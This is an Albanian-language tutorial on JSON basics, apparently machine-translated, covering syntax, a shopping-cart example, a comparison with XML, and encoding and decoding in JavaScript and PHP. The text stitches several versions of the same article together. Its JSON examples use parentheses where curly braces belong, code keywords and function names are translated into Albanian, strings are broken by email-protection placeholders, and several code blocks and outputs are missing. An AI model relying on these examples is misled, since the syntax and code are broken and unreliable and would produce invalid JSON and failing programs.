gjuha json. JSON: Bazat

Me siguri keni dëgjuar ndonjëherë për JSON. Çfarë është ajo? Çfarë mund të bëjë dhe si ta përdorni?

Në këtë tutorial ne do të mbulojmë bazat e JSON dhe do të mbulojmë pikat e mëposhtme:

  • Çfarë është JSON?
  • Për çfarë përdoret JSON?
  • Si të krijoni një varg JSON?
  • Një shembull i thjeshtë i një vargu JSON.
  • Le të krahasojmë JSON dhe XML.
  • Si të punoni me JSON në JavaScript dhe PHP?
Çfarë është JSON?

JSON është një mënyrë e thjeshtë, e bazuar në tekst për të ruajtur dhe transmetuar të dhëna të strukturuara. Me një sintaksë të thjeshtë, mund të ruani lehtësisht çdo gjë nga një numër i vetëm deri te vargjet, vargjet dhe objektet në tekst të thjeshtë. Ju gjithashtu mund të lidhni grupe dhe objekte së bashku për të krijuar struktura komplekse të dhënash.

Pasi të krijohet vargu JSON, është e lehtë ta dërgoni atë në një aplikacion tjetër ose në një vendndodhje tjetër në rrjet sepse është tekst i thjeshtë.

JSON ka përparësitë e mëposhtme:

  • Është kompakt.
  • Fjalitë e tij janë të lehta për t'u lexuar dhe kompozuar si nga njerëzit ashtu edhe nga kompjuterët.
  • Mund të konvertohet lehtësisht në një strukturë të dhënash për shumicën e gjuhëve programuese (numra, vargje, booleans, vargje, etj.)
  • Shumë gjuhë programimi kanë funksione dhe biblioteka për të lexuar dhe krijuar struktura JSON.

Emri JSON qëndron për shënimin e objektit JavaScript. Siç sugjeron emri, ai bazohet në një mënyrë për të përcaktuar objektet (ashtu si krijimi i vargjeve shoqëruese në gjuhë të tjera) dhe vargjeve.

Për çfarë përdoret JSON?

Përdorimi më i zakonshëm i JSON është dërgimi i të dhënave nga serveri në shfletues. Në mënyrë tipike, të dhënat JSON shpërndahen duke përdorur AJAX, i cili lejon shfletuesin dhe serverin të komunikojnë pa pasur nevojë të ringarkojnë faqen.

  • Përdoruesi klikon në një miniaturë produkti në një dyqan online.
  • JavaScript që funksionon në shfletues gjeneron një kërkesë AJAX për skriptin PHP që funksionon në server, duke kaluar në ID-në e produktit të zgjedhur.
  • Skripti PHP merr emrin e produktit, përshkrimin, çmimin dhe informacione të tjera nga baza e të dhënave. Pastaj kompozon një varg JSON nga të dhënat dhe e dërgon atë në shfletues.
  • JavaScript që funksionon në shfletues merr vargun JSON, e deshifron atë dhe shfaq informacionin e produktit në faqe për përdoruesit.
  • Ju gjithashtu mund të përdorni JSON për të dërguar të dhëna nga shfletuesi në server duke kaluar një varg JSON si parametër për kërkesat GET ose POST. Por kjo metodë është më pak e zakonshme, pasi transferimi i të dhënave përmes kërkesave AJAX mund të thjeshtohet. Për shembull, ID-ja e produktit mund të përfshihet në URL si pjesë e një kërkese GET.

    Biblioteka jQuery ka disa metoda, si getJSON() dhe parseJSON(), që e bëjnë të lehtë marrjen e të dhënave duke përdorur JSON përmes kërkesave AJAX.

    Si të krijoni një varg JSON?

    Ekzistojnë disa rregulla themelore për krijimin e një vargu JSON:

    • Vargu JSON përmban ose një grup vlerash ose një objekt (një grup shoqërues çiftesh emra/vlerash).
    • Arrayështë mbyllur në kllapa katrore ([ dhe ]) dhe përmban një listë vlerash të ndarë me presje.
    • Nje objektështë mbyllur në kllapa kaçurrelë (( dhe )) dhe përmban një listë të ndarë me presje të çifteve të emrit/vlerës.
    • çifti emër/vlerë përbëhet nga emri i fushës i mbyllur me thonjëza të dyfishta, i ndjekur nga dy pika (:) dhe vlera e fushës.
    • Kuptimi në një grup ose objekt mund të ketë:
      • Numri (numër i plotë ose me pikë lundruese)
      • Varg (në thonjëza të dyfishta)
      • Vlera Boolean (e vërtetë ose e gabuar)
      • Një grup tjetër (i mbyllur në kllapa katrore)
      • Një objekt tjetër (i mbyllur në mbajtëse kaçurrelë)
      • vlerë zero

    Për të përfshirë thonjëza të dyfishta në një varg, duhet të përdorni një vijë të prapme: \" . Ashtu si me shumë gjuhë programimi, mund të vendosni karaktere kontrolli dhe kode hex në një varg duke i paraprirë me një vijë të prapme. Shih faqen e internetit të JSON për detaje.

    Shembull i thjeshtë i vargut JSON

    Më poshtë është një shembull i porositjes në formatin JSON:

    ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email i mbrojtur]", "përmbajtja": [ ( "Produkt ID": 34, "Emri i produktit": "Super produkt", "sasia": 1 ), ( "ID-i i produktit": 56, "Emri i produktit": "Produkt mrekulli", "sasia": 3 ) ], "urdhri i plotësuar": e vërtetë)

    Le të shohim linjën në detaje:

    • Ne krijojmë një objekt duke përdorur mbajtëse kaçurrelë (( dhe )).
    • Objekti ka disa çifte emri/vlere: "orderID": 12345 Një veti me emrin "orderId" dhe një vlerë të plotë 12345 "shopperName": "Vanya Ivanov" një pronë me emrin "shopperName" dhe vlerën e vargut "Vanya Ivanov " "shopperEmail": " [email i mbrojtur]" Një pronë e quajtur "shopperEmail" me një vlerë vargu " [email i mbrojtur]" "përmbajtje": [... ] Një veti e quajtur "përmbajtje" vlera e së cilës është një grup "orderCompleted": true Një veti e quajtur "orderCompleted" dhe vlera boolean true
    • Ka 2 objekte në grupin "përmbajtje" që përfaqësojnë artikuj individualë në renditje. Çdo objekt përmban 3 veti: ID-ja e produktit, Emri i produktit dhe sasia.

    Meqë ra fjala, meqenëse JSON bazohet në deklarimin e objekteve JavaScript, ju mund ta bëni shpejt dhe me lehtësi vargun e mësipërm JSON një objekt JavaScript:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email i mbrojtur]", "përmbajtja": [ ( "Produkt ID": 34, "Emri i produktit": "Super produkt", "sasia": 1 ), ( "ID-i i produktit": 56, "Emri i produktit": "Produkt mrekulli", "sasia": 3 ) ], "orderCompleted": true);

    Krahasimi i JSON dhe XML

    Në shumë mënyra, ju mund të mendoni për JSON si një alternativë ndaj XML, të paktën në hapësirën e aplikacionit në internet. Koncepti i AJAX u bazua fillimisht në përdorimin e XML për të transferuar të dhëna midis serverit dhe shfletuesit. Por vitet e fundit, JSON është bërë gjithnjë e më popullor për transportimin e të dhënave AJAX.

    Ndërsa XML është një teknologji e provuar që përdoret në një numër të mjaftueshëm aplikacionesh, JSON ka avantazhin e të qenit një format më kompakt dhe më i lehtë për t'u njohur.

    Kështu do të duket objekti i shembullit të mësipërm në XML:

    ID e porosisë 12345 Emri i blerësit Vanya Ivanov blerësi Email [email i mbrojtur] përmbajtja ID-ja e produktit 34 emri i produktit Sasia super produkti 1 ID produkti 56 emri i produktit mrekulli sasia e produktit 3 porosi E plotësuar e vërtetë

    Versioni XML është dukshëm më i madh. Në realitet është 1128 karaktere, ndërsa versioni JSON është vetëm 323 karaktere. Versioni XML është gjithashtu mjaft i vështirë për t'u kuptuar.

    Sigurisht, ky është një shembull radikal. Dhe është e mundur të krijohet një rekord XML më kompakt. Por edhe ai do të jetë dukshëm më i gjatë se ekuivalenti JSON.

    Puna me një varg JSON në JavaScript

    JSON ka një format të thjeshtë, por krijimi i një vargu JSON me dorë është mjaft i lodhshëm. Për më tepër, shpesh ju duhet të merrni një varg JSON, të konvertoni përmbajtjen e tij në një variabël që mund të përdoret në kod.

    Shumica e gjuhëve të programimit kanë mjete për të kthyer me lehtësi variablat në vargjet JSON dhe anasjelltas.

    Krijimi i një vargu JSON nga një ndryshore

    JavaScript ka një metodë të integruar JSON.stringify() që merr një variabël dhe kthen një varg JSON që përfaqëson përmbajtjen e tij. Për shembull, le të krijojmë një objekt JavaScript që përmban informacionin e rendit nga shembulli ynë dhe më pas të krijojmë një varg JSON prej tij:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email i mbrojtur]", "përmbajtja": [ ( "Produkt ID": 34, "Emri i produktit": "Super produkt", "sasia": 1 ), ( "ID-i i produktit": 56, "Emri i produktit": "Produkt mrekulli", "sasia": 3 ) ], "orderCompleted": true (JSON.stringify(cart));

    Ky kod do të prodhojë:

    Vini re se metoda JSON.stringify() kthen një varg JSON pa hapësira. Është më e vështirë për t'u lexuar, por është më kompakte për transmetim në rrjet.

    Ka disa mënyra për të analizuar një varg JSON në JavaScript, por më e sigurta dhe më e besueshme është përdorimi i metodës së integruar JSON.parse(). Ai merr një varg JSON dhe kthen një objekt ose grup JavaScript që përmban të dhënat. Për shembull:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email i mbrojtur]", \ "përmbajtja": [ \ ( \ "ID-ja e produktit": 34, \ "Emri i produktit": "Superprodukti", \ "sasia": 1 \), \ ( \ "ID-ja e produktit": 56, \ "Emri i produktit": "Mallra mrekulli", \ "sasia": 3 \ ) \ ], \ "porosia e përfunduar": e vërtetë \ ) \ "; var cart = JSON.parse(jsonString); alarm (karrocë.shopperEmail); alarmi (karroca.përmbajtja.Emri i produktit);

    Ne krijuam një variabël jsonString që përmban vargun JSON të rendit të shembullit tonë. Më pas ia kalojmë këtë varg metodës JSON.parse(), e cila krijon një objekt që përmban të dhënat JSON dhe e ruan atë në variablin e karrocës. Gjithçka që mbetet është të kontrolloni duke shfaqur vetitë e objektit shopperEmail dhe emri i produktit të grupit të përmbajtjes.

    Si rezultat, ne do të marrim rezultatin e mëposhtëm:

    Në një aplikacion real, kodi juaj JavaScript do të merrte porosinë si një varg JSON në një përgjigje AJAX nga skripti i serverit, do t'ia kalonte vargun metodës JSON.parse() dhe më pas do të përdorte të dhënat për ta shfaqur atë në faqen e përdoruesit.

    JSON.stringify() dhe JSON.parse() kanë aftësi të tjera, si p.sh. përdorimi i funksioneve të kthimit të thirrjes për të konvertuar me porosi të dhëna të caktuara. Opsione të tilla janë shumë të dobishme për konvertimin e të dhënave të ndryshme në objekte të duhura JavaScript.

    Puna me një varg JSON në PHP

    PHP, si JavaScript, ka funksione të integruara për të punuar me vargjet JSON.

    Krijimi i një vargu JSON nga një ndryshore PHP

    Funksioni json_encode() merr një variabël PHP dhe kthen një varg JSON që përfaqëson përmbajtjen e ndryshores. Këtu është shembulli ynë i porosisë, i shkruar në PHP:

    Ky kod kthen saktësisht të njëjtin varg JSON si në shembullin JavaScript:

    ("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [email i mbrojtur]","përmbajtja":[("produkt ID":34,"Emri i produktit":"Superprodukt","sasia":1),("ID produkti":56,"Emri i produktit":"Produkt mrekulli","sasia": 3)]"urdhri i plotësuar":true)

    Në një aplikacion real, skripti juaj PHP do ta dërgojë këtë varg JSON si pjesë e një përgjigjeje AJAX në shfletues, ku kodi JavaScript, duke përdorur metodën JSON.parse(), do ta analizojë atë përsëri në një ndryshore për t'u shfaqur në faqen e përdoruesit. .

    Ju mund të kaloni flamuj të ndryshëm si argumenti i dytë në funksionin json_encode(). Me ndihmën e tyre, ju mund të ndryshoni parimet e kodimit të përmbajtjes së variablave në një varg JSON.

    Krijo një variabël nga një varg JSON

    Për të kthyer një varg JSON në një variabël PHP, përdorni metodën json_decode(). Le të zëvendësojmë shembullin tonë për JavaScript me metodën JSON.parse() me kodin PHP:

    Ashtu si me JavaScript, ky kod do të prodhojë:

    [email i mbrojtur] Produkt mrekulli

    Si parazgjedhje, funksioni json_decode() kthen objektet JSON si objekte PHP. Ka objekte të përgjithshme PHP të klasës stdClass. Kjo është arsyeja pse ne përdorim -> për të hyrë në vetitë e objektit në shembullin e mësipërm.

    Nëse ju nevojitet një objekt JSON si një grup PHP i lidhur, duhet të kaloni true si argumentin e dytë në funksionin json_decode(). Për shembull:

    $cart = json_decode ($jsonString, e vërtetë); echo $cart["shopperEmail"] . "
    "; echo $cart["përmbajtje"]["produktEmri"] . "
    ";

    Ky kod do të prodhojë të njëjtin rezultat:

    [email i mbrojtur] Produkt mrekulli

    Ju gjithashtu mund t'i kaloni argumente të tjera funksionit json_decode() për të specifikuar thellësinë e rekursionit dhe mënyrën e trajtimit të numrave të plotë të mëdhenj.

    konkluzioni

    Megjithëse JSON është i lehtë për t'u kuptuar dhe përdorur, ai është një mjet shumë i dobishëm dhe fleksibël për transferimin e të dhënave ndërmjet aplikacioneve dhe kompjuterëve, veçanërisht kur përdoret AJAX. Nëse po planifikoni të zhvilloni një aplikacion AJAX, atëherë nuk ka dyshim se JSON do të bëhet një mjet thelbësor në punëtorinë tuaj.

    Çfarë është JSON dhe çfarë mund të bëjë? Në këtë artikull, do të mësoni se si të përdorni JSON për të punuar me lehtësi me të dhënat. Ne gjithashtu do të shohim se si të punojmë me JSON duke përdorur PHP dhe JavaScript.

    Nëse keni zhvilluar faqe interneti ose aplikacione ueb në përgjithësi, ka shumë mundësi që të keni dëgjuar për JSON, të paktën kalimthi. Por çfarë do të thotë saktësisht JSON? Çfarë mund të bëjë ky format i të dhënave dhe si mund të përdoret?

    Në këtë artikull do të mësojmë bazat e punës me formatin json. Ne do të ndjekim temat e mëposhtme:

    • Cili është formati JSON?
    • Si të krijoni vargje JSON?
    • Shembull i thjeshtë i të dhënave JSON
    • Krahasimi i JSON me XML

    Le të fillojmë!

    Cili është formati JSON?

    JSON është një mënyrë e thjeshtë, e bazuar në tekst për të ruajtur dhe transmetuar të dhëna të strukturuara. Me një sintaksë të thjeshtë, ju mund të ruani lehtësisht numra dhe vargje të thjeshtë, si dhe vargje dhe objekte, duke përdorur asgjë më shumë se tekst. Ju gjithashtu mund të lidhni objekte dhe vargje, gjë që ju lejon të krijoni struktura komplekse të dhënash.

    Pasi të krijohet vargu JSON, ai mund të dërgohet lehtësisht në çdo aplikacion ose kompjuter pasi është thjesht tekst.

    JSON ka shumë përparësi:

    • Është kompakt
    • Është i lexueshëm nga njeriu dhe i lehtë për t'u lexuar nga kompjuteri
    • Mund të konvertohet lehtësisht në formate softuerësh: vlera numerike, vargje, format boolean, vlera null, vargje dhe vargje shoqëruese.
    • Pothuajse të gjitha gjuhët e programimit kanë funksione që ju lejojnë të lexoni dhe krijoni formatin e të dhënave json.

    Fjalë për fjalë, shkurtesa JSON qëndron për shënimin e objektit JavaScript. Siç u përshkrua më herët, ky format bazohet në krijimin e objekteve, diçka e ngjashme me grupet shoqëruese në gjuhë të tjera programimi.

    Për çfarë qëllimesh përdoret JSON?

    Mbi të gjitha, json përdoret për të shkëmbyer të dhëna midis javascript dhe anës së serverit (php). Me fjalë të tjera, për teknologjinë ajax. Kjo është shumë e përshtatshme kur kaloni variabla të shumta ose grupe të tëra të dhënash.

    Ja se si duket në një shembull:

  • Përdoruesi klikon në imazhin e miniaturës
  • JavaScript përpunon këtë ngjarje dhe dërgon një kërkesë ajax në skriptin PHP, duke kaluar ID-në e imazhit.
  • Në server, php merr përshkrimin e figurës, emrin e figurës, adresën e imazhit të madh dhe informacione të tjera nga baza e të dhënave. Pasi e ka marrë, e konverton në formatin JSON dhe e kthen në faqen e përdoruesit.
  • JavaScript merr përgjigjen në formën e JSON, përpunon të dhënat, gjeneron kodin html dhe shfaq një imazh të zmadhuar me një përshkrim dhe informacione të tjera.
  • Kështu zmadhohet imazhi pa ringarkuar faqen në shfletues. Kjo është shumë e përshtatshme kur na duhet të marrim të dhëna të pjesshme, ose të transferojmë një sasi të vogël informacioni në server.

    jQuery e preferuar e të gjithëve ka funksionet getJSON() dhe parseJSON(), të cilat ju ndihmojnë të punoni me formatin përmes kërkesave ajax.

    Si të krijoni vargje JSON?


    Më poshtë janë rregullat themelore për krijimin e vargjeve JSON:

    • Vargu JSON përmban si një grup vlerash ashtu edhe një objekt (një grup shoqërues me çifte emër/vlerë).
    • Vargu duhet të mbështillet në kllapa katrore, [ dhe ], dhe mund të përmbajë një listë vlerash që ndahen nga koma.
    • Objektet janë mbështjellë duke përdorur krahë kaçurrelë, ( dhe ), dhe gjithashtu përmbajnë çifte emra/vlerash të ndara me koma.
    • Çiftet emër/vlerë përbëhen nga emri i fushës (në thonjëza të dyfishta) i ndjekur nga një dy pika (:) e ndjekur nga vlera e fushës.
    • Vlerat në një grup ose objekt mund të jenë:
      • Numerike (numër i plotë ose thyesë me pika)
      • Vargjet (të mbështjella me thonjëza të dyfishta)
      • Boolean (e vërtetë ose e rreme)
      • Vargje të tjera (të mbështjella në kllapa katrore [ dhe ])
      • Objekte të tjera (të mbështjella me krahë kaçurrelë ( dhe ))
      • Vlera zero

    E rëndësishme!

    Nëse përdorni thonjëza të dyfishta në vlera, shmangni ato me një vijë të prapme: \". Mund të përdorni gjithashtu karaktere të koduara hex, ashtu siç bëni në gjuhë të tjera programimi.

    Shembull i thjeshtë i të dhënave JSON

    Shembulli i mëposhtëm tregon se si mund të ruani të dhënat në "karrocën" e një dyqani në internet duke përdorur formatin JSON: [email i mbrojtur]("orderID": 12345, "shopperName": "John Smith", "shopperEmail": "

    ", "përmbajtje": [ ( "ProduktID": 34, "Emri i produktit": "SuperWidget", "sasia": 1 ), ( "ID-ja e produktit": 56, "Emri i produktit": "WonderWidget", "sasia": 3 ) ], "urdhri i plotësuar": e vërtetë )

  • Le t'i zbërthejmë këto të dhëna pjesë-pjesë:
  • Në fillim dhe në fund ne përdorim krahët kaçurrelë ( dhe ) për të bërë të qartë se ky është një objekt.
  • Brenda objektit kemi disa çifte emra/vlerash:
  • "orderID": 12345 - fusha me emrin orderId dhe vlera 12345
  • "shopperName": "John Smith" - fusha me emrin shopperName dhe vlera John Smith
  • "shopperEmail": "johnsmith@ example.com" - ngjashëm me fushën e mëparshme, emaili i blerësit ruhet këtu.
  • "përmbajtje": [ ... ] - një fushë me emrin përmbajtje, vlera e së cilës është një grup.
  • "orderCompleted": true - një fushë me emrin orderCompleted vlera e së cilës është e vërtetë
  • Brenda grupit të përmbajtjes, kemi dy objekte që shfaqin përmbajtjen e karrocës. Çdo objekt produkti ka tre veti: ID-ja e produktit, Emri i produktit, sasia.

    Së fundi, meqenëse JSON është identik me objektet në JavaScript, mund ta merrni lehtësisht këtë shembull dhe të krijoni një objekt JavaScript prej tij: [email i mbrojtur] var karroce = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": "

    ", "përmbajtje": [ ( "ProduktID": 34, "Emri i produktit": "SuperWidget", "sasia": 1 ), ( "ID-ja e produktit": 56, "Emri i produktit": "WonderWidget", "sasia": 3 ) ], "orderCompleted": true );

    Krahasimi i JSON me XML

    Megjithëse XML është një teknologji e provuar dhe e testuar që përdoret nga shumë aplikacione, avantazhet e formatit JSON janë se është më kompakt dhe më i lehtë për t'u shkruar dhe lexuar.

    Këtu është shembulli i mësipërm JSON, i rishkruar vetëm në formatin XML:

    ID-ja e porosisë 12345 Emri i blerësit John Smith shopperEmail [email i mbrojtur] përmbajtja ID-ja e produktit 34 emri i produktit Emri SuperWidget sasia 1 ID e produktit 56 emri i produktit WonderWidget sasia 3 porosi E plotësuar e vërtetë

    Siç mund ta shihni, është disa herë më i gjatë se JSON. Në fakt, ky shembull është i gjatë 1128 karaktere, ndërsa versioni JSON është vetëm 323 karaktere. Versioni XML është gjithashtu më i vështirë për t'u lexuar.

    Natyrisht, nuk mund të gjykohet vetëm me një shembull, por edhe sasi të vogla informacioni zënë më pak hapësirë ​​në formatin JSON sesa në XML.

    Si të punoni me JSON përmes PHP dhe JS?

    Tani kemi ardhur te pjesa më interesante - ana praktike e formatit JSON. Së pari, le t'i bëjmë nderim JavaScript, pastaj do të shohim se si mund të manipuloni JSON përmes PHP.

    Krijimi dhe leximi i formatit JSON duke përdorur JavaScript


    Edhe pse formati JSON është i thjeshtë, është e vështirë të shkruash manualisht kur zhvillon aplikacione ueb. Për më tepër, shpesh ju duhet të konvertoni vargjet JSON në variabla dhe më pas t'i përdorni ato në kodin tuaj.

    Për fat të mirë, shumë gjuhë programimi ofrojnë mjete për të punuar me vargjet JSON. Ideja kryesore e së cilës:

    Për të krijuar vargje JSON, ju filloni me variabla që përmbajnë disa vlera, pastaj i kaloni ato përmes një funksioni që i kthen të dhënat në një varg JSON.

    Duke lexuar vargjet JSON, filloni me një varg JSON që përmban të dhëna të caktuara, kaloni vargun përmes një funksioni që krijon variabla që përmbajnë të dhëna.

    Le të shohim se si bëhet kjo në JavaScript.

    Krijimi i një vargu JSON nga një ndryshore JavaScript

    JavaScript ka një metodë të integruar, JSON.stringify(), e cila merr një ndryshore javascript dhe kthen një varg json që përfaqëson përmbajtjen e ndryshores. Për shembull, le të përdorim një objekt të krijuar më parë dhe ta konvertojmë atë në një varg JSON.

    Së fundi, meqenëse JSON është identik me objektet në JavaScript, mund ta merrni lehtësisht këtë shembull dhe të krijoni një objekt JavaScript prej tij: [email i mbrojtur]", "përmbajtje": [ ( "ProduktID": 34, "Emri i produktit": "SuperWidget", "sasia": 1 ), ( "ID-ja e produktit": 56, "Emri i produktit": "WonderWidget", "sasia": 3 ) ], "orderCompled": true (JSON.stringify(cart));

    Kjo është ajo që do të shfaqet në ekran:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [email i mbrojtur]", "përmbajtje":[("produkt ID":34,"Emri i produktit":"SuperWidget","sasia":1), ("ID-ja e produktit":56,"Emri i produktit":"WonderWidget","sasia":3) ], "porosia u plotësua":true)

    Vini re se JSON.stringify() nxjerr vargjet JSON pa hapësira. Është e vështirë për t'u lexuar, por është më kompakte, gjë që është e rëndësishme kur dërgoni të dhëna.

    Krijimi i një ndryshoreje JavaScript nga një varg JSON

    Ka disa mënyra për të analizuar vargjet JSON, më e pranueshme dhe më e sigurta është përdorimi i metodës JSON.parse(). Ai merr një varg JSON dhe kthen një objekt ose grup JavaScript që përmban të dhënat JSON. Ja një shembull:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [email i mbrojtur]", \ "përmbajtja": [ \ ( \ "ID-ja e produktit": 34, \ "Emri i produktit": "SuperWidget", \ "sasia": 1 \), \ ( \ "ID-ja e produktit": 56, \ "Emri i produktit": " WonderWidget", \"sasia": 3\ ) \ ], \"porosi e plotësuar": e vërtetë \ ) \"; var karroce = JSON.parse(jsonString); alarm (karroca.shopperEmail); alarmi (karroca.përmbajtja.Emri i produktit);

    Këtu kemi krijuar një ndryshore, jsonString, e cila përmban vargun JSON nga shembujt e dhënë më parë. Pastaj e kaluam këtë varg përmes JSON.parse() për të krijuar një objekt që përmban të dhëna JSON, i cili u ruajt në variablin e karrocës. Së fundi, ne kontrollojmë për disponueshmërinë e të dhënave dhe shfaqim disa informacione duke përdorur dritaren modale të alarmit.

    Informacioni i mëposhtëm do të shfaqet:

    Në një aplikacion të vërtetë ueb, kodi juaj JavaScript duhet të marrë një varg JSON si përgjigje nga serveri (pas dërgimit të një kërkese AJAX), më pas të analizojë vargun dhe t'i shfaqë përdoruesit përmbajtjen e karrocës.

    Krijimi dhe leximi i formatit JSON duke përdorur PHP

    PHP, si JavaScript, ka funksione që ju lejojnë të konvertoni variabla në format JSON dhe anasjelltas. Le t'i shikojmë ato.

    Krijimi i një vargu JSON nga një variabël PHP

    Json_encode() merr një ndryshore PHP dhe kthen një varg JSON që përfaqëson të dhënat e ndryshores. Këtu është shembulli ynë i një "karroce" të shkruar në PHP:

    Ky kod prodhon saktësisht të njëjtin rezultat si shembulli JavaScript - një varg i vlefshëm JSON që përfaqëson përmbajtjen e variablave:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [email i mbrojtur]""përmbajtja":[("ID-ja e produktit":34,"Emri i produktit":"SuperWidget","sasia":1),("ID-ja e produktit":56,"Emri i produktit":"WonderWidget","sasia":3) ]"porosia u plotësua":true)

    Në realitet, skripti juaj PHP duhet të dërgojë një varg JSON si përgjigje ndaj një kërkese AJAX, ku JavaScript do të përdorë JSON.parse() për ta kthyer vargun në variabla.

    Në funksionin json_encode(), mund të specifikoni parametra shtesë që ju lejojnë të konvertoni disa karaktere në hex.

    Krijimi i një ndryshoreje PHP nga një varg JSON

    Ngjashëm me sa më sipër, ekziston një funksion json_decode() që ju lejon të deshifroni vargjet JSON dhe të vendosni përmbajtjen në variabla.

    Ashtu si me JavaScript, ky kod do të nxjerrë sa vijon:

    [email i mbrojtur] WonderWidget

    Si parazgjedhje, json_decode() kthen objektet JSON si objekte PHP. Ngjashëm me sintaksën e rregullt, ne përdorim -> për të hyrë në vetitë e një objekti.

    Nëse më vonë dëshironi të përdorni të dhënat si një grup shoqërues, thjesht kaloni parametrin e dytë të vërtetë në funksionin json_decode(). Ja një shembull:

    $cart = json_decode ($jsonString, e vërtetë); echo $cart["shopperEmail"] . "
    "; echo $cart["përmbajtje"]["produktEmri"] . "
    ";

    Kjo jep të njëjtin rezultat:

    [email i mbrojtur] WonderWidget

    Ju gjithashtu mund të kaloni argumente shtesë në funksionin json_decode() për të përcaktuar përpunimin e numrave të mëdhenj dhe rekursionin.

    Si përfundim në lidhje me formatin JSON

    Nëse do të krijoni një aplikacion ueb duke përdorur teknologjinë Ajax, sigurisht që do të përdorni formatin JSON për shkëmbimin e të dhënave midis serverit dhe shfletuesit.


    JSON është një format teksti për regjistrimin e të dhënave. Kjo ju lejon të përfaqësoni në formë teksti një numër të vetëm ose varg, dhe struktura komplekse, për shembull, vargje me të dhëna. Përdorimi i këtij formati regjistrimi është i përshtatshëm sepse është i lexueshëm dhe intuitiv, ndërsa në të njëjtën kohë ju lejon të ruani struktura shumë komplekse të dhënash. Përveç kësaj, është më kompakt se xml, kështu që për mendimin tim është më i preferueshëm për shkëmbimin e të dhënave midis një shfletuesi uebi dhe një serveri.

    Sintaksa JSON me shembuj

    Formati json zakonisht shkruhet në 2 variante:

    1. Rendi i vlerave. Për shembull, sekuenca 10, 15 dhe "testi" në formatin JSON do të duken kështu:

    2. Regjistrimi në formën e çifteve kryesore: vlera. Për shembull:

    ("Emri i plotë": "Ivanov Sergey", "Data e lindjes": "03/09/1975")

    Një shembull pak më kompleks:

    ("Emri i plotë": "Ivanov Sergey", "Adresa": ("Qyteti": "Moska", "Rruga": "Pyatnitskaya", "Shtëpia": "35") )

    PHP funksionon për të punuar me formatin JSON

    Në gjuhën PHP që nga versioni 5.2. ka vetëm 4 funksione:

    • json_decode - Deshifron një varg JSON (merr të dhëna nga një varg i formatit json)
    • json_encode - Kthen një paraqitje JSON të të dhënave (konverton të dhënat në një varg json)
    • json_last_error_msg - Kthen një varg që tregon mesazhin e gabimit të thirrjes së fundit te json_encode() ose json_decode()
    • json_last_error - Rikthen gabimin e fundit

    Në thelb, në pjesën më të madhe, përdoren vetëm dy funksione: json_encode dhe json_decode. Nuk do të hyj në detaje të sintaksës së tyre, mund të shikoni në php.net për më shumë detaje. Shembull përdorimi:

    $arr1 = grup (0,1,2); $json_str = json_encode ($arr1); jehonë $json_str; // do të nxjerrë një varg json: $arr2 = json_decode($json_str); jehonë $arr2; // do të nxjerrë: 1

    Ju lutemi vini re: kur kodoni të dhënat në rusisht në formatin JSON, funksioni json_encode konverton karakteret ruse në Unicode, d.m.th. i zëvendëson ato me \uXXXX dhe kështu vargu json bëhet i palexueshëm për njerëzit (por i kuptueshëm për shfletuesin). Nëse dëshironi të shmangni konvertimin në Unicode (për shembull, kur korrigjoni kodin), thjesht mund të përdorni opsionin JSON_UNESCAPED_UNICODE.

    Gjithashtu, në mënyrë që të mos shtohen prerjet ikëse gjatë kodimit dhe që vargjet me numra të kodohen si numra, mund të përdorni JSON_UNESCAPED_SLASHES dhe JSON_NUMERIC_CHECK. Si rezultat, për ta bërë vargun json të lexueshëm nga njeriu, ne do të bëjmë, për shembull, këtë:

    $arr = array("fio" => "Ivanov Sergey", "mosha" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    Pa përdorur këto opsione linja do të ishte si kjo:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "mosha" : "32", "vk_url" /vk.com\/id11111")

    dhe duke përdorur opsionet, marrim një rresht të lexueshëm:

    ( "fio" : "Ivanov Sergey", "mosha" : 32, "vk_url" : "https://vk.com/id11111" )

    Një pikë tjetër: nëse dëshironi që funksioni json_decode të kthejë një grup kur deshifroni një varg json, thjesht shtoni një parametër të dytë në funksion të barabartë me true.

    $json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_dekodi ($json_str); // merrni objektin echo $obj->a; // do të nxjerrë 1 $arr = json_decode($json_str, true); // merrni një grup shoqërues echo $arr["a"]; // do të printojë 1

    Kjo përfundon rishikimin tim të funksioneve të PHP.

    Funksionet JavaScript për të punuar me formatin JSON

    Le të fillojmë me faktin se formati JSON fillimisht u shpik për gjuhën JavaScript dhe më pas u bë thjesht një format teksti i veçantë i përdorur në gjuhë të ndryshme. Me sa duket, kjo është arsyeja pse sintaksa JSON është shumë e ngjashme me sintaksën për të shkruar objekte dhe vargje të zakonshme.

    // Shembull i një grupi në JavaScript arr = ; alarm (arr); // do të shfaqë 1 // Shembull i një objekti në JavaScript obj = ( "emri": "Vasya", "mosha": 35, "isAdmin": false ) alert(obj.name); // do të shtypë "Vasya"

    Funksionet JavaScript të përdorura për të kthyer në dhe nga formati JSON:

    • JSON.parse - deshifrimi i një vargu JSON (konvertimi i një vargu në objekte dhe/ose vargje)
    • JSON.stringify - kthen një paraqitje JSON të të dhënave (konvertimi i objekteve dhe/ose vargjeve në një varg json)

    Një shembull i thjeshtë i deshifrimit të një vargu json në një grup me numra:

    Str = ""; arr = JSON.parse(str); alarm (arr); // do të printojë 1

    Një shembull i konvertimit (serializimit) të një objekti në një varg JSON:

    Obj = ( "emri": "Vasya", "mosha": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // do të shfaqet ("emri":"Vasya", "mosha":35,"isAdmin":false)

    Kur serializohet (konvertohet) një objekt në një varg JSON, thirret metoda toJSON e këtij objekti, nëse ekziston. Nëse nuk ka metodë, atëherë renditen të gjitha vetitë e objektit. Një shembull i konvertimit të një objekti me metodën toJSON:

